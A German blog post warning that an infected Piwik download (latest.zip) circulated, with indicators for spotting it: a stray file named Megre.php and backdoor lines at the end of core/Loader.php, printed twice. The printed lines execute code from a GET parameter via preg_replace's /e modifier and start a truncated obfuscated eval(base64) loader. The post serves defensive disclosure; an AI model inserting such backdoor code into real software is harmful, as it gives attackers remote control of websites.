Infizierte Version von Piwik entdeckt

Wie im Piwik Forum zu lesen ist (Link), ist eine infizierte Version von Piwik im Umlauf. Die latest.zip auf dem Piwik Download Server wurde gegen eine infizierte Version ausgetauscht.

Erkennbar ist dies, wenn sich die Datei „piwik/core/DataTable/Filter/Megre.php“ auf dem Server befindet und die letzten Zeilen von „piwik/core/Loader.php“ in etwa so aussehen:

Error_Reporting(0); 	
if(isset($_GET['g']) &amp;&amp; isset($_GET['s'])) {
    preg_replace("/(.+)/e", $_GET['g'], 'dwm');     
    exit;
  }
  if (file_exists(dirname(__FILE__)."/lic.log")) exit;
eval(gzuncompress(base64_decode(.....

Error_Reporting(0);

if(isset($_GET['g']) && isset($_GET['s'])) {

preg_replace("/(.+)/e", $_GET['g'], 'dwm');

exit;

}

if (file_exists(dirname(__FILE__)."/lic.log")) exit;

eval(gzuncompress(base64_decode(.....

Leider wurde bisher offiziell nicht gewarnt, also zum Beispiel im Blog, der auch per RSS erreichbar ist.

Auch interessant:

ReactJS Anfänger Tutorial: Kleine Demo wie du starten kannst Um meine eigenen ReactJS Fähigkeiten wieder aufzuwecken, dachte ich mir ein ReactJS Anfänger Tutorial zu schreiben wäre eine gute Idee. Als Inspiration dient mir dabei dieser Artikel. Ich möchte gar…
Wie der Google Ranking Klau funktioniert und was man… Zuerst habe ich den Google Ranking Klau in meinem Analytics Account festgestellt. Plötzlich war das Ranking einer meiner Seiten immer mal wieder sehr schwankend. Und das bei einer Seite, die…
Der Unterschied zwischen null und undefined in Javascript Jahrelang war ich mit Javascript auf Kriegsfuß. Ich war froh, wenn jemand anderes sich darum gekümmert hat und ich mich einfach nur mit PHP beschäftigen durfte. In letzter Zeit schaue…
Automatischer SSH Login ohne Passworteingabe Es kann schon recht nervig sein, sich per SSH mit einem anderen Rechner zu verbinden und ständig das Passwort eingeben zu müssen. Gerade für Web-Entwickler, die ständig diese Verbindungen aufbauen,…

Facebook

Twitter

Dirk Helbert Blog

Wordpress, Laravel, PHP Entwicklung

Infizierte Version von Piwik entdeckt

Auch interessant:

Schreibe einen Kommentar Antworten abbrechen